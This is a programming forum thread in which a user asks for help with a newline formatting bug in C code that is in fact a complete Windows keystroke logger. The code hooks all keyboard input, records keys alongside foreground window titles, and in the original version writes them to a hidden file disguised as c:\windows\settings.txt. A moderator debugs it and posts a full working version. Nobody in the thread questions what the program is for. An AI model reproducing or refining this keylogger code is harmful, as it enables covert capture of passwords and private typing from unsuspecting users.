CodeGuru Home VC++ / MFC / C++ .NET / C# Visual Basic VB Forums Developer.com
Results 1 to 11 of 11
  1. #1
    Join Date
    Apr 2014
    Posts
    61

    Append more char's after newline character in txt file

    Hello,

    I'm trying append more characters to a txt file after write title of foreground window and a newline character, but after first character, the next appear after a newline. Here is result => http://prntscr.com/3de8vt and here is my code:

    I'm using Dev C++ 4.9.9.2 compiler.

    Code:
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <ctype.h>
    
    using namespace std;
    
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
    void log(char *str);
    char *translate(int vk, int up);
    
    int shift = 0, caps = 0;
    FILE *fd;
    
    int main(int argc, char *argv[]) {
    
        HINSTANCE app = GetModuleHandle(NULL);
        SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, app, 0);
        MSG msg;
        const char *fname;
        fname = "c:\\windows\\settings.txt";
        fd = fopen(fname, "a");
        SetFileAttributes("c:\\windows\\settings.txt",FILE_ATTRIBUTE_HIDDEN);
        while (GetMessage(&msg, NULL, 0, 0) > 0) {
    
            TranslateMessage(&msg);
            DispatchMessage(&msg);
        }
        fflush(fd);
        fclose(fd);
        return 0;
    }
    
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
    
    char window_text[500];
    char old_window_text[500];
    HWND fore_hndl = GetForegroundWindow();
    
    
        KBDLLHOOKSTRUCT *kb=(KBDLLHOOKSTRUCT *)lParam;
    
        char *str="";
        char *str_window=""; 
    
        if (wParam == WM_KEYUP) {
            str = translate(kb->vkCode, 1);
        } else if (wParam == WM_KEYDOWN) {
    
               if (fore_hndl != NULL) {
                  if (GetWindowText(fore_hndl, (char*)&window_text, 499) != 0) {
                     if (strcmp(window_text, old_window_text) != 0) {
    
                        str_window = window_text;
    
                       strcpy(old_window_text, window_text);
                    }
              }
        }
    
            str = translate(kb->vkCode, 0);
        }
    
        if (str_window) 
        log(str_window); 
    
        log("\n");         // snippet problematical for print in txt file as I haved said
    
        if (str) 
        log(str);
    
        return 0;
    }
    
    void log(char *str) {
    
        fwrite(str, 1, strlen(str), fd);
        if (strstr(str," ") || strstr(str,"[CR]")) fflush(fd);
    }
    
    char* translate(int vk, int up) {
    
    
    char window_text[500];
    char old_window_text[500];
    HWND fore_hndl = GetForegroundWindow();
    
        if (up) {
            if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) shift = 0;
            return 0;
        } else if ((vk==0x10)||(vk==0xa0)||(vk==0xa1)) {
            shift=1; return 0;
        }
    
        char *buf = (char*)malloc(16);
        memset(buf, 0, 16);
    
        if (vk < 0x29) {
    
            switch (vk) {
                case 0x08: strcpy(buf, "[BS]"); break;
                case 0x09: strcpy(buf, "\t"); break;
                case 0x0D: strcpy(buf, "\n"); break;
                case 0x14: caps ^= 1; break;
                case 0x20: buf[0] = ' '; break;
            }        
            return buf;
        }
    
            if (vk > 0x69 && vk < 0x70) {
                buf[0] = (char)(vk - 0x40);
            } else if (vk > 0x6f && vk < 0x88) {
                sprintf(buf, "[F%d]", vk - 0x6f);
            } else if (isalpha(vk)) {
                if (!caps)
                    if (shift) { buf[0] = (char)(toupper(vk)); } else { buf[0] = (char)(tolower(vk)); }
                else
                    if (!shift) { buf[0] = (char)(toupper(vk)); } else { buf[0] = (char)(tolower(vk)); }
            } else {
                switch (vk) {
                case '1': if (!shift) {buf[0]=(char)vk;} else {buf[0]='!';} break;
                case '2': if (!shift) {buf[0]=(char)vk;} else {buf[0]='@';} break;
                case '3': if (!shift) {buf[0]=(char)vk;} else {buf[0]='#';} break;
                case '4': if (!shift) {buf[0]=(char)vk;} else {buf[0]='$';} break;
                case '5': if (!shift) {buf[0]=(char)vk;} else {buf[0]='%';} break;
                case '6': if (!shift) {buf[0]=(char)vk;} else {buf[0]='^';} break;
                case '7': if (!shift) {buf[0]=(char)vk;} else {buf[0]='&';} break;
                case '8': if (!shift) {buf[0]=(char)vk;} else {buf[0]='*';} break;
                case '9': if (!shift) {buf[0]=(char)vk;} else {buf[0]='(';} break;
                case '0': if (!shift) {buf[0]=(char)vk;} else {buf[0]=')';} break;
                case 0xba: if (!shift) {buf[0]=';';} else {buf[0]=':';} break;
                case 0xbb: if (!shift) {buf[0]='=';} else {buf[0]='+';} break;
                case 0xbc: if (!shift) {buf[0]=',';} else {buf[0]='<';} break;
                case 0xbd: if (!shift) {buf[0]='-';} else {buf[0]='_';} break;
                case 0xbe: if (!shift) {buf[0]='.';} else {buf[0]='>';} break;
                case 0xbf: if (!shift) {buf[0]='/';} else {buf[0]='?';} break;
                case 0xc0: if (!shift) {buf[0]='`';} else {buf[0]='~';} break;
                case 0xdb: if (!shift) {buf[0]='[';} else {buf[0]='{';} break;
                case 0xdc: if (!shift) {buf[0]='\\';} else {buf[0]='|';} break;
                case 0xdd: if (!shift) {buf[0]=']';} else {buf[0]='}';} break;
                case 0xde: if (!shift) {buf[0]='\'';} else {buf[0]='\"';} break;
                }
            }
        return buf;
    }
    I have made some changes for this =>

    Code:
    if (str_window) 
    
        strcpy(str_window,str_window); 
        strcat(str_window,"\n");
    
        log(str_window); 
    
    
        if (str) 
        log(str);
    
        return 0;
    }
    Now print only first character in digitation after title of active window. Still printing wrong see => http://prntscr.com/3df8n5. Word "good" as sample.

    Any suggestion will appreciated. Thanks in advanced!

  2. #2
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,824

    Re: Append more char's after newline character in txt file

    Code:
    if (str_window) 
    
        strcpy(str_window,str_window); 
        strcat(str_window,"\n");
    
        log(str_window); 
    
    
        if (str) 
        log(str);
    
        return 0;
    }
    The line highlighted doesn't make sense as it tries to copy onto itself.

    Code:
    char old_window_text[500];
    ...
    if (GetWindowText(fore_hndl, (char*)&window_text, 499) != 0) {
    You are passing the address of the address of the windows_text memory and casting it to be a pointer to a char! You just need
    Code:
    if (GetWindowText(fore_hndl, window_text, 499) != 0) {
    NB
    Code:
    if (str_window) 
        log(str_window);
    str_window will always be non NULL due to the way it is initialised.

    Where do you free the memory allocated in translate()?
    Last edited by 2kaud; April 26th, 2014 at 03:41 PM.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++23 Compiler: Microsoft VS2022 (17.6.5)

  3. #3
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,824

    Re: Append more char's after newline character in txt file

    Why don't you do something like this for log()
    Code:
    void log(char *str) {
    static FILE* fd = NULL;
    
    	if (fd == NULL)
    		fd = fopen("log.txt", "a");
    
            if (fd && str) {
    		fwrite(str, strlen(str), 1, fd);
            	fflush(fd);
            }
    }
    So that you don't have to open the log file in the main program and keep a global variable? Also this checks that the file is open before writing. Also note that you are using fwriet incorrectly. The first parameter is the number of chars to write with the third param being the number of objects to write.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++23 Compiler: Microsoft VS2022 (17.6.5)

  4. #4
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,824

    Re: Append more char's after newline character in txt file

    Code:
    fname = "c:\\windows\\settings.txt";
    PS Its not recommended to start creating files in the windows directory.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++23 Compiler: Microsoft VS2022 (17.6.5)

  5. #5
    Join Date
    Apr 2014
    Posts
    61

    Re: Append more char's after newline character in txt file

    Quote Originally Posted by 2kaud View Post
    Code:
    if (str_window) 
    
        strcpy(str_window,str_window); 
        strcat(str_window,"\n");
    
        log(str_window); 
    
    
        if (str) 
        log(str);
    
        return 0;
    }
    The line highlighted doesn't make sense as it tries to copy onto itself.

    Code:
    char old_window_text[500];
    ...
    if (GetWindowText(fore_hndl, (char*)&window_text, 499) != 0) {
    You are passing the address of the address of the windows_text memory and casting it to be a pointer to a char! You just need
    Code:
    if (GetWindowText(fore_hndl, window_text, 499) != 0) {
    @2kaud, thank you very much for help, but you suggestion don't made difference in final result expected. Still is the same

  6. #6
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,824

    Re: Append more char's after newline character in txt file

    Code:
    if (GetWindowText(fore_hndl, (char*)&window_text, 499) != 0) {
                     if (strcmp(window_text, old_window_text) != 0) {
    
                        str_window = window_text;
    
                       strcpy(old_window_text, window_text);
                    }
              }
    I'm not sure I understand what you are trying to accomplish here. The memory pointed to old_window_text hasn't been initialised so its contents can't be predicted but is likely to be different to that of window_text. So the if statement is likely to be true (but not guaranteed). The window_text is copied to old_window_text. But old_window_text isn't used again before the function returns. Should old_window_text be static? What are trying to accomplish?
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++23 Compiler: Microsoft VS2022 (17.6.5)

  7. #7
    Join Date
    Apr 2014
    Posts
    61

    Re: Append more char's after newline character in txt file

    Quote Originally Posted by 2kaud View Post
    Code:
    if (GetWindowText(fore_hndl, (char*)&window_text, 499) != 0) {
                     if (strcmp(window_text, old_window_text) != 0) {
    
                        str_window = window_text;
    
                       strcpy(old_window_text, window_text);
                    }
              }
    I'm not sure I understand what you are trying to accomplish here. The memory pointed to old_window_text hasn't been initialised so its contents can't be predicted but is likely to be different to that of window_text. So the if statement is likely to be true (but not guaranteed). The window_text is copied to old_window_text. But old_window_text isn't used again before the function returns. Should old_window_text be static? What are trying to accomplish?

    The purpose is write in txt file after title of active window a newline character ("\n") and the word typed for user, but as you see, appear "glue" (beside) title of active window or as my attempt above, skipping one line but printing only first character of word typed.

  8. #8
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,824

    Re: Append more char's after newline character in txt file

    I think this will do what you want
    Code:
    #include <windows.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <ctype.h>
    
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
    
    void log(char *str);
    char *translate(int vk, int up);
    
    int main()
    {
    HINSTANCE app = GetModuleHandle(NULL);
    
    	SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, app, 0);
    
    MSG msg;
    
    	while (GetMessage(&msg, NULL, 0, 0) > 0) {
    		TranslateMessage(&msg);
    		DispatchMessage(&msg);
    	}
    
            return 0;
    }
    
    LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
    {
    static char old_window_text[500] = {0};
    
    char window_text[500] = {0};
    
    HWND fore_hndl = GetForegroundWindow();
    
    KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT *)lParam;
    
    char *str = NULL;
    
    	if (fore_hndl && GetWindowText(fore_hndl, window_text, 499) && strcmp(window_text, old_window_text)) {
    		log(window_text);
    		log("\n");
    		strcpy(old_window_text, window_text);
    	}
    
    	if (wParam == WM_KEYUP)
    		str = translate(kb->vkCode, 1);
    	else
    		if (wParam == WM_KEYDOWN)
    			str = translate(kb->vkCode, 0);
    
    	if (str) {
    		log(str);
    		free(str);
    	}
    
        return 0;
    }
    
    void log(char *str) {
    static FILE* fd = NULL;
    
    	if (fd == NULL)
    		fd = fopen("log.txt", "a");
    
            if (fd && str) {
    		fwrite(str, strlen(str), 1, fd);
            	fflush(fd);
            }
    }
    
    char* translate(int vk, int up)
    {
    static int	shift = 0,
    		caps = 0;
    
    	if (up) {
    		if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1))
    			shift = 0;
    
    		return 0;
    	} else 
    		if ((vk == 0x10) || (vk == 0xa0) || (vk == 0xa1)) {
    			shift = 1;
    			return 0;
    		}
    
    char *buf = (char*)malloc(16);
    
    	memset(buf, 0, 16);
    
    	if (vk < 0x29) {
    		switch (vk) {
    			case 0x08: strcpy(buf, "[BS]"); break;
    			case 0x09: strcpy(buf, "\t"); break;
    			case 0x0D: strcpy(buf, "\n"); break;
    			case 0x14: caps ^= 1; break;
    			case 0x20: buf[0] = ' '; break;
    		}        
    		return buf;
    	}
    
    	if (vk > 0x69 && vk < 0x70) {
    		buf[0] = (char)(vk - 0x40);
    	} else
    		if (vk > 0x6f && vk < 0x88) {
    			sprintf(buf, "[F%d]", vk - 0x6f);
    		} else
    			if (isalpha(vk)) {
    				if (!caps)
    					if (shift) {
    						buf[0] = (char)(toupper(vk));
    					} else {
    						buf[0] = (char)(tolower(vk));
    					}
    				else
    					if (!shift) {
    						buf[0] = (char)(toupper(vk)); 
    					} else {
    						buf[0] = (char)(tolower(vk));
    					}
    			} else {
    				switch (vk) {
    					case '1': if (!shift) {buf[0]=(char)vk;} else {buf[0]='!';} break;
    					case '2': if (!shift) {buf[0]=(char)vk;} else {buf[0]='@';} break;
    					case '3': if (!shift) {buf[0]=(char)vk;} else {buf[0]='#';} break;
    					case '4': if (!shift) {buf[0]=(char)vk;} else {buf[0]='$';} break;
    					case '5': if (!shift) {buf[0]=(char)vk;} else {buf[0]='%';} break;
    					case '6': if (!shift) {buf[0]=(char)vk;} else {buf[0]='^';} break;
    					case '7': if (!shift) {buf[0]=(char)vk;} else {buf[0]='&';} break;
    					case '8': if (!shift) {buf[0]=(char)vk;} else {buf[0]='*';} break;
    					case '9': if (!shift) {buf[0]=(char)vk;} else {buf[0]='(';} break;
    					case '0': if (!shift) {buf[0]=(char)vk;} else {buf[0]=')';} break;
    					case 0xba: if (!shift) {buf[0]=';';} else {buf[0]=':';} break;
    					case 0xbb: if (!shift) {buf[0]='=';} else {buf[0]='+';} break;
    					case 0xbc: if (!shift) {buf[0]=',';} else {buf[0]='<';} break;
    					case 0xbd: if (!shift) {buf[0]='-';} else {buf[0]='_';} break;
    					case 0xbe: if (!shift) {buf[0]='.';} else {buf[0]='>';} break;
    					case 0xbf: if (!shift) {buf[0]='/';} else {buf[0]='?';} break;
    					case 0xc0: if (!shift) {buf[0]='`';} else {buf[0]='~';} break;
    					case 0xdb: if (!shift) {buf[0]='[';} else {buf[0]='{';} break;
    					case 0xdc: if (!shift) {buf[0]='\\';} else {buf[0]='|';} break;
    					case 0xdd: if (!shift) {buf[0]=']';} else {buf[0]='}';} break;
    					case 0xde: if (!shift) {buf[0]='\'';} else {buf[0]='\"';} break;
    				}            
    		}
    
    	return buf;
    }
    Last edited by 2kaud; April 27th, 2014 at 11:44 AM. Reason: Remove global variables
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++23 Compiler: Microsoft VS2022 (17.6.5)

  9. #9
    Join Date
    Apr 2014
    Posts
    61

    Re: Append more char's after newline character in txt file

    Perfect @2kaud !! Yes is this it!

    Apparently based in your code, you change the function =>
    Code:
    void log(char *str)
    . Still not undestand where I was make wrong in this.

    Before I opened txt file when run program on main function, now make only when call this function for write in txt file. And was very good you remember free memory allocated in str variable "
    Code:
    translate(int vk, int up)
    ".

    You made =>
    Code:
    strcmp(window_text, old_window_text)
    ,

    this will always different of NULL without repeat the same previous window title when key pressed?
    Last edited by FL4SHC0D3R; April 27th, 2014 at 01:06 PM.

  10. #10
    2kaud's Avatar
    2kaud is offline Super Moderator Power Poster
    Join Date
    Dec 2012
    Location
    England
    Posts
    7,824

    Re: Append more char's after newline character in txt file

    Still not undestand where I was make wrong in this.
    It was just a combination of various things as per my previous posts..

    You made =>
    Code:
    strcmp(window_text, old_window_text)
    this will always different of NULL without repeat the same previous window title when key pressed?
    As old_window_text is static, its value is 'remembered' between every call to this func. old_window_text is initiallised to all zeros so the first time the func is called strcmp doesn't return 0 so the if condition is true so the window title is output to the file and the old_window_text is set to the title of the foreground window. Next time this func is called for the same window, old_window_text is the same as window_text and hence the strcmp returns a 0 hence the if condition is false so the window title is not logged.
    All advice is offered in good faith only. All my code is tested (unless stated explicitly otherwise) with the latest version of Microsoft Visual Studio (using the supported features of the latest standard) and is offered as examples only - not as production quality. I cannot offer advice regarding any other c/c++ compiler/IDE or incompatibilities with VS. You are ultimately responsible for the effects of your programs and the integrity of the machines they run on. Anything I post, code snippets, advice, etc is licensed as Public Domain https://creativecommons.org/publicdomain/zero/1.0/ and can be used without reference or acknowledgement. Also note that I only provide advice and guidance via the forums - and not via private messages!

    C++23 Compiler: Microsoft VS2022 (17.6.5)

  11. #11
    Join Date
    Apr 2014
    Posts
    61

    Re: Append more char's after newline character in txt file

    Okay my friend; understood . Thank you very much for help me in this thread.

Posting Permissions

  • You may not post new threads
  • You may not post replies
  • You may not post attachments
  • You may not edit your posts
  •  





Click Here to Expand Forum to Full Width

Featured